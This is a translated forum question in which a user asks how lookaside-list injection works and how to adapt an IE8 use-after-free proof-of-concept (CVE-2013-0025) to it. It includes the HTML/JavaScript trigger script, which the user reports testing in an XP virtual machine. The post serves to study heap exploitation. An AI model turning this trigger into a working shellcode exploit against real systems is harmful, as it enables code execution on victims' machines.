Lookaside List Injection

4

Ho letto molto su Use-after-free e ho trovato questo documento . Parla di un exploit dell'iniezione "Lookaside". Il documento dice di svuotare la memoria dinamica della cache, chiamata Lookaside Linked-List. Quindi allocare due sezioni di memoria della stessa dimensione dell'oggetto che causa l'UAF. Successivamente, riempi uno di essi con shellcode ed eliminali in un certo ordine (prima lo shellcode). Poiché Lookaside è una lista concatenata, quando l'oggetto UAF viene cancellato, ciò comporta che il vtable dell'oggetto UAF punta al primo oggetto eliminato e quindi al vtable dell'oggetto che punta all'oggetto shellcode. Quando viene attivato l'UAF (vtable è dereferenziato) viene eseguito lo shellcode. Questo è ciò che capisco.

Ero interessato a testare questo exploit. Ho trovato online un exploit in IE8 (CVE-2013-0025), che è un UAF. L'ho provato su Windows XP SP3 vm in cui CVE-2013-0025 funziona, con il seguente script:

  <html>
   <head>
  <script>
    var data;
    var objArray = new Array(1150);
    setTimeout(function(){
      document.body.style.whiteSpace = "pre-line";
      for(var i =0; i<1150; i++){
          objArray[i] = document.createElement('span');
          objArray[i].className = data += enescape("%aaaa%aaaa");
      }
      setTimeout(function(){document.body.innerHtml = "boo"},50)},50)
</script>
</head>
<body>
<p> </p> <---space in par. is part of exploit
</body>
</html>

Questo exploit tenta di sovraccaricare la memoria dell'oggetto eliminato. Tuttavia, voglio provare a farlo con l'iniezione lookaside invece. Ho provato a provare a creare due oggetti prima di setTimeOut e quindi cancellarli prima che l'oggetto UAF venisse cancellato. Tuttavia, non sono sicuro di capire come funziona l'iniezione Lookaside correttamente.

Mi chiedevo come (o alcuni suggerimenti su come) convertire questo exploit per usare l'iniezione Lookaside, invece di provare a sovrascrivere il vecchio oggetto (exploit VFTABLE)? Se non si può fare con questo exploit, mi chiedevo come creare un programma C ++ giocattolo come POC per l'iniezione lookaside? Infine, mi chiedevo se l'iniezione di Lookaside funziona in Linux?  Non sono riuscito a trovare un riferimento a questa struttura nella gestione dell'heap di Linux.

    
posta dylan7 08.02.2016 - 04:16
fonte

0 risposte

Leggi altre domande sui tag